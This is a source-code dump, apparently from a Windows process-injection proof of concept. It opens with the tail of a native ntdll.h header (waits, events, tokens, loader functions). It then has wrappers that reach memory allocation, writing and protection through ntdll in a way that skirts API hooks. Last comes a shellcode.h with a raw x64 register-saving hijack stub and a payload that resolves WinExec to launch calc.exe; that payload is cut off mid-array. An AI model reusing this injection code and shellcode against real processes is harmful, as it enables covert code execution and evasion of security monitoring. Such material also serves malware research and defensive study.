PULONG ResultLength OPTIONAL 3889 | ); 3890 | 3891 | 3892 | //----------------------------------------------------------------------------- 3893 | // Synchronization 3894 | 3895 | // 3896 | // Wait type 3897 | // 3898 | 3899 | typedef enum _WAIT_TYPE { 3900 | WaitAll, 3901 | WaitAny 3902 | } WAIT_TYPE; 3903 | 3904 | 3905 | NTSYSAPI 3906 | NTSTATUS 3907 | NTAPI 3908 | NtWaitForSingleObject ( 3909 | IN HANDLE Handle, 3910 | IN BOOLEAN Alertable, 3911 | IN PLARGE_INTEGER Timeout OPTIONAL 3912 | ); 3913 | 3914 | 3915 | NTSYSAPI 3916 | NTSTATUS 3917 | NTAPI 3918 | ZwWaitForSingleObject ( 3919 | IN HANDLE Handle, 3920 | IN BOOLEAN Alertable, 3921 | IN PLARGE_INTEGER Timeout OPTIONAL 3922 | ); 3923 | 3924 | 3925 | NTSYSAPI 3926 | NTSTATUS 3927 | NTAPI 3928 | NtWaitForMultipleObjects ( 3929 | IN ULONG Count, 3930 | IN HANDLE Handle[], 3931 | IN WAIT_TYPE WaitType, 3932 | IN BOOLEAN Alertable, 3933 | IN PLARGE_INTEGER Timeout OPTIONAL 3934 | ); 3935 | 3936 | 3937 | NTSYSAPI 3938 | NTSTATUS 3939 | NTAPI 3940 | ZwWaitForMultipleObjects ( 3941 | IN ULONG Count, 3942 | IN HANDLE Handle[], 3943 | IN WAIT_TYPE WaitType, 3944 | IN BOOLEAN Alertable, 3945 | IN PLARGE_INTEGER Timeout OPTIONAL 3946 | ); 3947 | 3948 | 3949 | //----------------------------------------------------------------------------- 3950 | // Event support 3951 | 3952 | typedef enum _EVENT_INFORMATION_CLASS { 3953 | EventBasicInformation // = 0 3954 | } EVENT_INFORMATION_CLASS; 3955 | 3956 | typedef struct _EVENT_BASIC_INFORMATION { 3957 | EVENT_TYPE EventType; 3958 | LONG EventState; 3959 | } EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; 3960 | 3961 | // 3962 | // Event handling routines 3963 | // 3964 | 3965 | 3966 | NTSYSAPI 3967 | NTSTATUS 3968 | NTAPI 3969 | NtCreateEvent ( 3970 | OUT PHANDLE EventHandle, 3971 | IN ACCESS_MASK DesiredAccess, 3972 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 3973 | IN EVENT_TYPE EventType, 3974 | IN BOOLEAN InitialState 3975 | ); 3976 | 3977 | 3978 | NTSYSAPI 3979 | NTSTATUS 3980 | NTAPI 3981 | ZwCreateEvent ( 3982 | OUT PHANDLE EventHandle, 3983 | IN ACCESS_MASK DesiredAccess, 3984 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 3985 | IN EVENT_TYPE EventType, 3986 | IN BOOLEAN InitialState 3987 | ); 3988 | 3989 | 3990 | NTSYSAPI 3991 | NTSTATUS 3992 | NTAPI 3993 | NtClearEvent ( 3994 | IN HANDLE Handle 3995 | ); 3996 | 3997 | 3998 | NTSYSAPI 3999 | NTSTATUS 4000 | NTAPI 4001 | ZwClearEvent ( 4002 | IN HANDLE Handle 4003 | ); 4004 | 4005 | 4006 | NTSYSAPI 4007 | NTSTATUS 4008 | NTAPI 4009 | NtPulseEvent ( 4010 | IN HANDLE Handle, 4011 | OUT PLONG PreviousState OPTIONAL 4012 | ); 4013 | 4014 | 4015 | NTSYSAPI 4016 | NTSTATUS 4017 | NTAPI 4018 | ZwPulseEvent ( 4019 | IN HANDLE Handle, 4020 | OUT PLONG PreviousState OPTIONAL 4021 | ); 4022 | 4023 | 4024 | NTSYSAPI 4025 | NTSTATUS 4026 | NTAPI 4027 | NtResetEvent ( 4028 | IN HANDLE Handle, 4029 | OUT PLONG PreviousState OPTIONAL 4030 | ); 4031 | 4032 | 4033 | NTSYSAPI 4034 | NTSTATUS 4035 | NTAPI 4036 | ZwResetEvent ( 4037 | IN HANDLE Handle, 4038 | OUT PLONG PreviousState OPTIONAL 4039 | ); 4040 | 4041 | 4042 | NTSYSAPI 4043 | NTSTATUS 4044 | NTAPI 4045 | NtSetEvent ( 4046 | IN HANDLE Handle, 4047 | OUT PLONG PreviousState OPTIONAL 4048 | ); 4049 | 4050 | 4051 | NTSYSAPI 4052 | NTSTATUS 4053 | NTAPI 4054 | ZwSetEvent ( 4055 | IN HANDLE Handle, 4056 | OUT PLONG PreviousState OPTIONAL 4057 | ); 4058 | 4059 | 4060 | NTSYSAPI 4061 | NTSTATUS 4062 | NTAPI 4063 | NtOpenEvent ( 4064 | OUT PHANDLE EventHandle, 4065 | IN ACCESS_MASK DesiredAccess, 4066 | IN POBJECT_ATTRIBUTES ObjectAttributes 4067 | ); 4068 | 4069 | 4070 | NTSYSAPI 4071 | NTSTATUS 4072 | NTAPI 4073 | ZwOpenEvent ( 4074 | OUT PHANDLE EventHandle, 4075 | IN ACCESS_MASK DesiredAccess, 4076 | IN POBJECT_ATTRIBUTES ObjectAttributes 4077 | ); 4078 | 4079 | 4080 | NTSYSAPI 4081 | NTSTATUS 4082 | NTAPI 4083 | NtQueryEvent ( 4084 | IN HANDLE EventHandle, 4085 | IN EVENT_INFORMATION_CLASS EventInfoClass, 4086 | OUT PVOID EventInfo, 4087 | IN ULONG Length, 4088 | OUT PULONG ResultLength OPTIONAL 4089 | ); 4090 | 4091 | 4092 | NTSYSAPI 4093 | NTSTATUS 4094 | NTAPI 4095 | ZwQueryEvent ( 4096 | IN HANDLE EventHandle, 4097 | IN EVENT_INFORMATION_CLASS EventInfoClass, 4098 | OUT PVOID EventInfo, 4099 | IN ULONG Length, 4100 | OUT PULONG ResultLength OPTIONAL 4101 | ); 4102 | 4103 | 4104 | //----------------------------------------------------------------------------- 4105 | // Security descriptor functions 4106 | 4107 | NTSYSAPI 4108 | NTSTATUS 4109 | NTAPI 4110 | RtlCreateSecurityDescriptor ( 4111 | IN PSECURITY_DESCRIPTOR SecurityDescriptor, 4112 | IN ULONG Revision 4113 | ); 4114 | 4115 | 4116 | NTSYSAPI 4117 | NTSTATUS 4118 | NTAPI 4119 | RtlSetDaclSecurityDescriptor( 4120 | IN PSECURITY_DESCRIPTOR SecurityDescriptor, 4121 | IN BOOLEAN DaclPresent, 4122 | IN PACL Dacl OPTIONAL, 4123 | IN BOOLEAN DaclDefaulted OPTIONAL 4124 | ); 4125 | 4126 | 4127 | NTSYSAPI 4128 | NTSTATUS 4129 | NTAPI 4130 | RtlSetOwnerSecurityDescriptor ( 4131 | IN PSECURITY_DESCRIPTOR SecurityDescriptor, 4132 | IN PSID Owner OPTIONAL, 4133 | IN BOOLEAN OwnerDefaulted OPTIONAL 4134 | ); 4135 | 4136 | 4137 | NTSYSAPI 4138 | NTSTATUS 4139 | NTAPI 4140 | RtlAllocateAndInitializeSid( 4141 | IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, 4142 | IN UCHAR SubAuthorityCount, 4143 | IN ULONG SubAuthority0, 4144 | IN ULONG SubAuthority1, 4145 | IN ULONG SubAuthority2, 4146 | IN ULONG SubAuthority3, 4147 | IN ULONG SubAuthority4, 4148 | IN ULONG SubAuthority5, 4149 | IN ULONG SubAuthority6, 4150 | IN ULONG SubAuthority7, 4151 | OUT PSID *Sid 4152 | ); 4153 | 4154 | 4155 | NTSYSAPI 4156 | ULONG 4157 | NTAPI 4158 | RtlLengthSid ( 4159 | IN PSID Sid 4160 | ); 4161 | 4162 | 4163 | NTSYSAPI 4164 | BOOLEAN 4165 | NTAPI 4166 | RtlEqualSid ( 4167 | IN PSID Sid1, 4168 | IN PSID Sid2 4169 | ); 4170 | 4171 | 4172 | NTSYSAPI 4173 | PVOID 4174 | NTAPI 4175 | RtlFreeSid( 4176 | IN PSID Sid 4177 | ); 4178 | 4179 | 4180 | NTSYSAPI 4181 | NTSTATUS 4182 | NTAPI 4183 | RtlCreateAcl( 4184 | IN PACL Acl, 4185 | IN ULONG AclLength, 4186 | IN ULONG AclRevision 4187 | ); 4188 | 4189 | 4190 | NTSYSAPI 4191 | NTSTATUS 4192 | NTAPI 4193 | RtlAddAccessAllowedAce( 4194 | IN OUT PACL Acl, 4195 | IN ULONG AceRevision, 4196 | IN ACCESS_MASK AccessMask, 4197 | IN PSID Sid 4198 | ); 4199 | 4200 | 4201 | NTSYSAPI 4202 | NTSTATUS 4203 | NTAPI 4204 | RtlAddAccessAllowedAceEx( 4205 | IN OUT PACL Acl, 4206 | IN ULONG AceRevision, 4207 | IN ULONG AceFlags, 4208 | IN ULONG AccessMask, 4209 | IN PSID Sid 4210 | ); 4211 | 4212 | //----------------------------------------------------------------------------- 4213 | // Token functions 4214 | 4215 | NTSYSAPI 4216 | NTSTATUS 4217 | NTAPI 4218 | NtOpenProcessToken( 4219 | IN HANDLE ProcessHandle, 4220 | IN ACCESS_MASK DesiredAccess, 4221 | OUT PHANDLE TokenHandle 4222 | ); 4223 | 4224 | 4225 | NTSYSAPI 4226 | NTSTATUS 4227 | NTAPI 4228 | NtOpenThreadToken( 4229 | IN HANDLE ThreadHandle, 4230 | IN ACCESS_MASK DesiredAccess, 4231 | IN BOOLEAN OpenAsSelf, 4232 | OUT PHANDLE TokenHandle 4233 | ); 4234 | 4235 | 4236 | NTSYSAPI 4237 | NTSTATUS 4238 | NTAPI 4239 | NtQueryInformationToken( 4240 | IN HANDLE TokenHandle, 4241 | IN TOKEN_INFORMATION_CLASS TokenInformationClass, 4242 | OUT PVOID TokenInformation, 4243 | IN ULONG TokenInformationLength, 4244 | OUT PULONG ReturnLength 4245 | ); 4246 | 4247 | 4248 | NTSYSAPI 4249 | NTSTATUS 4250 | NTAPI 4251 | NtSetInformationToken( 4252 | IN HANDLE TokenHandle, 4253 | IN TOKEN_INFORMATION_CLASS TokenInformationClass, 4254 | IN PVOID TokenInformation, 4255 | IN ULONG TokenInformationLength 4256 | ); 4257 | 4258 | 4259 | NTSYSAPI 4260 | NTSTATUS 4261 | NTAPI 4262 | NtAdjustPrivilegesToken( 4263 | IN HANDLE TokenHandle, 4264 | IN BOOLEAN DisableAllPrivileges, 4265 | IN PTOKEN_PRIVILEGES NewState OPTIONAL, 4266 | IN ULONG BufferLength OPTIONAL, 4267 | IN PTOKEN_PRIVILEGES PreviousState OPTIONAL, 4268 | OUT PULONG ReturnLength 4269 | ); 4270 | 4271 | 4272 | NTSYSAPI 4273 | NTSTATUS 4274 | NTAPI 4275 | NtDuplicateToken( 4276 | IN HANDLE ExistingTokenHandle, 4277 | IN ACCESS_MASK DesiredAccess, 4278 | IN POBJECT_ATTRIBUTES ObjectAttributes, 4279 | IN BOOLEAN EffectiveOnly, 4280 | IN TOKEN_TYPE TokenType, 4281 | OUT PHANDLE NewTokenHandle 4282 | ); 4283 | 4284 | 4285 | NTSYSAPI 4286 | NTSTATUS 4287 | NTAPI 4288 | NtCompareTokens( 4289 | IN HANDLE FirstTokenHandle, 4290 | IN HANDLE SecondTokenHandle, 4291 | OUT PBOOLEAN IdenticalTokens 4292 | ); 4293 | 4294 | 4295 | //----------------------------------------------------------------------------- 4296 | // Symbolic links 4297 | 4298 | // 4299 | // Object Manager Symbolic Link Specific Access Rights. 4300 | // 4301 | 4302 | #ifndef SYMBOLIC_LINK_QUERY 4303 | #define SYMBOLIC_LINK_QUERY (0x0001) 4304 | #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) 4305 | #endif 4306 | 4307 | NTSYSAPI 4308 | NTSTATUS 4309 | NTAPI 4310 | NtOpenSymbolicLinkObject ( 4311 | OUT PHANDLE SymbolicLinkHandle, 4312 | IN ACCESS_MASK DesiredAccess, 4313 | IN POBJECT_ATTRIBUTES ObjectAttributes 4314 | ); 4315 | 4316 | 4317 | NTSYSAPI 4318 | NTSTATUS 4319 | NTAPI 4320 | NtQuerySymbolicLinkObject ( 4321 | IN HANDLE SymbolicLinkHandle, 4322 | OUT PUNICODE_STRING NameString, 4323 | OUT PULONG ResultLength OPTIONAL 4324 | ); 4325 | 4326 | //----------------------------------------------------------------------------- 4327 | // Loader functions 4328 | 4329 | NTSYSAPI 4330 | NTSTATUS 4331 | NTAPI 4332 | LdrGetDllHandle( 4333 | IN PWSTR DllPath OPTIONAL, 4334 | IN PULONG DllCharacteristics OPTIONAL, 4335 | IN PUNICODE_STRING DllName, 4336 | OUT PVOID * DllHandle 4337 | ); 4338 | 4339 | 4340 | NTSYSAPI 4341 | NTSTATUS 4342 | NTAPI 4343 | LdrGetProcedureAddress( 4344 | IN PVOID DllHandle, 4345 | IN PANSI_STRING ProcedureName OPTIONAL, 4346 | IN ULONG ProcedureNumber OPTIONAL, 4347 | OUT PVOID *ProcedureAddress 4348 | ); 4349 | 4350 | 4351 | NTSYSAPI 4352 | NTSTATUS 4353 | NTAPI 4354 | LdrLoadDll( 4355 | IN PWSTR DllPath OPTIONAL, 4356 | IN PULONG DllCharacteristics OPTIONAL, 4357 | IN PUNICODE_STRING DllName, 4358 | OUT PVOID *DllHandle 4359 | ); 4360 | 4361 | NTSYSAPI 4362 | NTSTATUS 4363 | NTAPI 4364 | LdrFindEntryForAddress( 4365 | IN PVOID Address, 4366 | OUT PLDR_DATA_TABLE_ENTRY *Module 4367 | ); 4368 | 4369 | NTSYSAPI 4370 | VOID 4371 | NTAPI 4372 | RtlGetCallersAddress( 4373 | OUT PVOID *CallersAddress, 4374 | OUT PVOID *CallersCaller 4375 | ); 4376 | 4377 | //----------------------------------------------------------------------------- 4378 | // Functions dealing with NTSTATUS and Win32 error 4379 | 4380 | NTSYSAPI 4381 | ULONG 4382 | NTAPI 4383 | RtlNtStatusToDosError( 4384 | NTSTATUS Status 4385 | ); 4386 | 4387 | 4388 | NTSYSAPI 4389 | ULONG 4390 | NTAPI 4391 | RtlNtStatusToDosErrorNoTeb( 4392 | NTSTATUS Status 4393 | ); 4394 | 4395 | 4396 | NTSYSAPI 4397 | NTSTATUS 4398 | NTAPI 4399 | RtlGetLastNtStatus( 4400 | ); 4401 | 4402 | 4403 | NTSYSAPI 4404 | ULONG 4405 | NTAPI 4406 | RtlGetLastWin32Error( 4407 | ); 4408 | 4409 | 4410 | NTSYSAPI 4411 | VOID 4412 | NTAPI 4413 | RtlSetLastWin32Error( 4414 | ULONG WinError 4415 | ); 4416 | 4417 | 4418 | NTSYSAPI 4419 | VOID 4420 | NTAPI 4421 | RtlSetLastWin32ErrorAndNtStatusFromNtStatus( 4422 | NTSTATUS Status 4423 | ); 4424 | 4425 | 4426 | //----------------------------------------------------------------------------- 4427 | // I/O functions 4428 | 4429 | 4430 | NTSYSAPI 4431 | NTSTATUS 4432 | NTAPI 4433 | NtDisplayString( 4434 | IN PUNICODE_STRING String 4435 | ); 4436 | 4437 | 4438 | #ifdef __cplusplus 4439 | } // extern "C" 4440 | #endif 4441 | 4442 | #endif // __NTDLL_H__ 4443 | -------------------------------------------------------------------------------- /ntdll_api.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | namespace ntapi 6 | { 7 | LPVOID 8 | WINAPI 9 | VirtualAllocEx( 10 | _In_ HANDLE hProcess, 11 | _In_opt_ LPVOID lpAddress, 12 | _In_ SIZE_T dwSize, 13 | _In_ DWORD flAllocationType, 14 | _In_ DWORD flProtect 15 | ) 16 | { 17 | NTSTATUS 18 | NTAPI 19 | NtAllocateVirtualMemory( 20 | IN HANDLE ProcessHandle, 21 | IN OUT PVOID * BaseAddress, 22 | IN ULONG_PTR ZeroBits, 23 | IN OUT PSIZE_T RegionSize, 24 | IN ULONG AllocationType, 25 | IN ULONG Protect 26 | ); 27 | 28 | auto pNtAllocateVirtualMemory = reinterpret_cast(GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory")); 29 | if (!pNtAllocateVirtualMemory) 30 | { 31 | return NULL; 32 | } 33 | PVOID requestedAddress = lpAddress; 34 | SIZE_T requestedSize = dwSize; 35 | if (pNtAllocateVirtualMemory(hProcess, &requestedAddress, 0, &requestedSize, flAllocationType, flProtect) != 0) { 36 | return NULL; 37 | } 38 | return requestedAddress; 39 | } 40 | 41 | BOOL 42 | WINAPI 43 | WriteProcessMemory( 44 | _In_ HANDLE hProcess, 45 | _In_ LPVOID lpBaseAddress, 46 | _In_reads_bytes_(nSize) LPVOID lpBuffer, 47 | _In_ SIZE_T nSize, 48 | _Out_opt_ SIZE_T* lpNumberOfBytesWritten 49 | ) 50 | { 51 | NTSTATUS 52 | NTAPI 53 | NtWriteVirtualMemory( 54 | IN HANDLE ProcessHandle, 55 | IN PVOID BaseAddress, 56 | IN LPVOID Buffer, 57 | IN SIZE_T NumberOfBytesToWrite, 58 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL 59 | ); 60 | 61 | auto pNtWriteVirtualMemory = reinterpret_cast(GetProcAddress(GetModuleHandleA("ntdll"), "NtWriteVirtualMemory")); 62 | if (!pNtWriteVirtualMemory) 63 | { 64 | return FALSE; 65 | } 66 | if (pNtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten) != 0) { 67 | return FALSE; 68 | } 69 | return TRUE; 70 | } 71 | 72 | BOOL 73 | WINAPI 74 | VirtualProtectEx( 75 | _In_ HANDLE hProcess, 76 | _In_ LPVOID lpAddress, 77 | _In_ SIZE_T dwSize, 78 | _In_ DWORD flNewProtect, 79 | _Out_ PDWORD lpflOldProtect 80 | ) 81 | { 82 | NTSTATUS 83 | NTAPI 84 | NtProtectVirtualMemory( 85 | IN HANDLE ProcessHandle, 86 | IN OUT PVOID * BaseAddress, 87 | IN OUT PSIZE_T NumberOfBytesToProtect, 88 | IN ULONG NewAccessProtection, 89 | OUT PULONG OldAccessProtection 90 | ); 91 | 92 | auto pNtProtectVirtualMemory = reinterpret_cast(GetProcAddress(GetModuleHandleA("ntdll"), "NtProtectVirtualMemory")); 93 | if (!pNtProtectVirtualMemory) 94 | { 95 | return FALSE; 96 | } 97 | PVOID requestedAddress = lpAddress; 98 | SIZE_T requestedSize = dwSize; 99 | if (pNtProtectVirtualMemory(hProcess, &requestedAddress, &requestedSize, flNewProtect, lpflOldProtect) != 0) { 100 | return FALSE; 101 | } 102 | return TRUE; 103 | } 104 | 105 | }; 106 | -------------------------------------------------------------------------------- /shellcode.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifdef _WIN64 4 | 5 | // the stub (saving and recovering the registers' values): 6 | /* 7 | 00000129F6180000 | [space for the original return ] 8 | 00000129F6180008 | 66:9C | pushf |store original flags, and values of registers 9 | 00000129F618000A | 50 | push rax | 10 | 00000129F618000B | 51 | push rcx | 11 | 00000129F618000C | 52 | push rdx | 12 | 00000129F618000D | 53 | push rbx | 13 | 00000129F618000E | 55 | push rbp | 14 | 00000129F618000F | 56 | push rsi | 15 | 00000129F6180010 | 57 | push rdi | 16 | 00000129F6180011 | 41:50 | push r8 | 17 | 00000129F6180013 | 41:51 | push r9 | 18 | 00000129F6180015 | 41:52 | push r10 | 19 | 00000129F6180017 | 41:53 | push r11 | 20 | 00000129F6180019 | 41:54 | push r12 | 21 | 00000129F618001B | 41:55 | push r13 | 22 | 00000129F618001D | 41:56 | push r14 | 23 | 00000129F618001F | 41:57 | push r15 | 24 | 00000129F6180021 | E8 1F000000 | call 129F6180045 | call our main shellcode function 25 | 00000129F6180026 | 41:5F | pop r15 | restore original flags, and values of registers 26 | 00000129F6180028 | 41:5E | pop r14 | 27 | 00000129F618002A | 41:5D | pop r13 | 28 | 00000129F618002C | 41:5C | pop r12 | 29 | 00000129F618002E | 41:5B | pop r11 | 30 | 00000129F6180030 | 41:5A | pop r10 | 31 | 00000129F6180032 | 41:59 | pop r9 | 32 | 00000129F6180034 | 41:58 | pop r8 | 33 | 00000129F6180036 | 5F | pop rdi | 34 | 00000129F6180037 | 5E | pop rsi | 35 | 00000129F6180038 | 5D | pop rbp | 36 | 00000129F6180039 | 5B | pop rbx | 37 | 00000129F618003A | 5A | pop rdx | 38 | 00000129F618003B | 59 | pop rcx | 39 | 00000129F618003C | 58 | pop rax | 40 | 00000129F618003D | 66:9D | popf | 41 | 00000129F618003F | FF25 BBFFFFFF | jmp qword ptr ds:[129F6180000] | jump to the original return address 42 | 00000129F6180045 | [ the main part of the shellcode ] 43 | */ 44 | unsigned char g_shellcode_stub[] = { 45 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // placeholder for the data; to be filled with the jump return address 46 | // the actuall code starts here (offset: 8) 47 | // the stub: 48 | 0x66, 0x9C, 0x50, 0x51, 49 | 0x52, 0x53, 0x55, 0x56, 0x57, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 50 | 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0xE8, 0x1F, 0x00, 51 | 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x41, 0x5B, 52 | 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5F, 0x5E, 0x5D, 0x5B, 0x5A, 0x59, 53 | 0x58, 0x66, 0x9D, 0xFF, 0x25, 0xBB, 0xFF, 0xFF, 0xFF 54 | }; 55 | 56 | unsigned char g_shellcode_pop_calc[] = { 57 | // the main function of the shellcode: 58 | 0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 59 | 0xE8, 60 | #ifdef SHC_NO_RET 61 | 0x06, 62 | #else 63 | 0x05, 64 | #endif 65 | 0x00, 0x00, 0x00, 0x48, 0x8B, 0xE6, 0x5E, 66 | #ifdef SHC_NO_RET 67 | 0xEB,0xFE, 68 | #else 69 | 0xC3, 70 | #endif 71 | 0x48, 0x83, 72 | 0xEC, 0x38, 0xE8, 0x20, 0x00, 0x00, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x72, 73 | 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x2E, 74 | 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 75 | 0x00, 0x00, 0x00, 0x59, 0xE8, 0x8F, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 76 | 0x24, 0x20, 0x48, 0x83, 0x7C, 0x24, 0x20, 0x00, 0x75, 0x07, 0xB8, 0x01, 77 | 0x00, 0x00, 0x00, 0xEB, 0x46, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x57, 0x69, 78 | 0x6E, 0x45, 0x78, 0x65, 0x63, 0x00, 0x5A, 0x48, 0x8B, 0x4C, 0x24, 0x20, 79 | 0xE8, 0x33, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83, 80 | 0x7C, 0x24, 0x28, 0x00, 0x75, 0x07, 0xB8, 0x04, 0x00, 0x00, 0x00, 0xEB, 81 | 0x1A, 0xBA, 0x01, 0x00, 0x00, 0x00, 0xE8, 0x09, 0x00, 0x00, 0x00, 0x63, 82 | 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0xFF, 0x54, 0x24, 83 | 0x28, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x38, 84 | 0xC3, 85 | 0x48, 0x89, 0x54, 0x24, 86 | 0x10, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC, 0x78, 0x48, 0x8B, 87 | 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 88 | 0x8B, 0x44, 0x24, 0x30, 0x0F, 0xB7, 0x00, 0x3D, 0x4D, 0x5A, 0x00, 0x00, 89 | 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xFA, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 90 | 0x24, 0x30, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 91 | 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 92 | 0x40, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 93 | 0x4C, 0x24, 0x40, 0x48, 0x8D, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 94 | 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x83, 0x38, 0x00, 95 | 0x75, 0x07, 0x33, 0xC0, 0xE9, 0xB2, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 96 | 0x24, 0x38, 0x8B, 0x00, 0x89, 0x44, 0x24, 0x18, 0x8B, 0x44, 0x24, 0x18, 97 | 0x48, 0x03, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 98 | 0x10, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x44, 99 | 0x24, 0x48, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40, 0x1C, 0x89, 0x44, 100 | 0x24, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40, 0x20, 0x89, 0x44, 101 | 0x24, 0x1C, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40, 0x24, 0x89, 0x44, 102 | 0x24, 0x20, 0x48, 0xC7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0xEB, 103 | 0x0D, 0x48, 0x8B, 0x44, 0x24, 0x08, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0x44, 104 | 0x24, 0x08, 0x48, 0x8B, 0x44, 0x24, 0x48, 0x48, 0x39, 0x44, 0x24, 0x08, 105 | 0x0F, 0x83, 0x3B, 0x01, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x1C, 0x48, 0x8B, 106 | 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 107 | 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x48, 0x8D, 0x04, 0x88, 0x48, 0x89, 0x44, 108 | 0x24, 0x58, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 109 | 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x4C, 0x24, 110 | 0x08, 0x48, 0x8D, 0x04, 0x48, 0x48, 0x89, 0x44, 0x24, 0x50, 0x8B, 0x44, 111 | 0x24, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 112 | 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x0F, 0xB7, 0x09, 113 | 0x48, 0x8D, 0x04, 0x88, 0x48, 0x89, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x44, 114 | 0x24, 0x58, 0x8B, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 115 | 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 116 | 0xC7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0B, 0x48, 0x8B, 0x04, 117 | 0x24, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8B, 0x04, 0x24, 118 | 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 119 | 0x8B, 0xC1, 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x74, 0x45, 0x48, 0x8B, 0x04, 120 | 0x24, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 121 | 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x74, 0x2F, 0x48, 0x8B, 0x04, 0x24, 0x48, 122 | 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 123 | 0xC1, 0x0F, 0xBE, 0x00, 0x48, 0x8B, 0x0C, 0x24, 0x48, 0x8B, 0x54, 0x24, 124 | 0x28, 0x48, 0x03, 0xD1, 0x48, 0x8B, 0xCA, 0x0F, 0xBE, 0x09, 0x3B, 0xC1, 125 | 0x74, 0x02, 0xEB, 0x02, 0xEB, 0x97, 0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 126 | 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 127 | 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x75, 0x2D, 0x48, 0x8B, 0x04, 0x24, 0x48, 128 | 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x0F, 0xBE, 129 | 0x00, 0x85, 0xC0, 0x75, 0x17, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x8B, 0x00, 130 | 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 131 | 0x8B, 0xC1, 0xEB, 0x07, 0xE9, 0xA8, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 132 | 0x83, 0xC4, 0x78, 133 | 0xC3, 134 | 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC, 135 | 0x58, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 136 | 0x44, 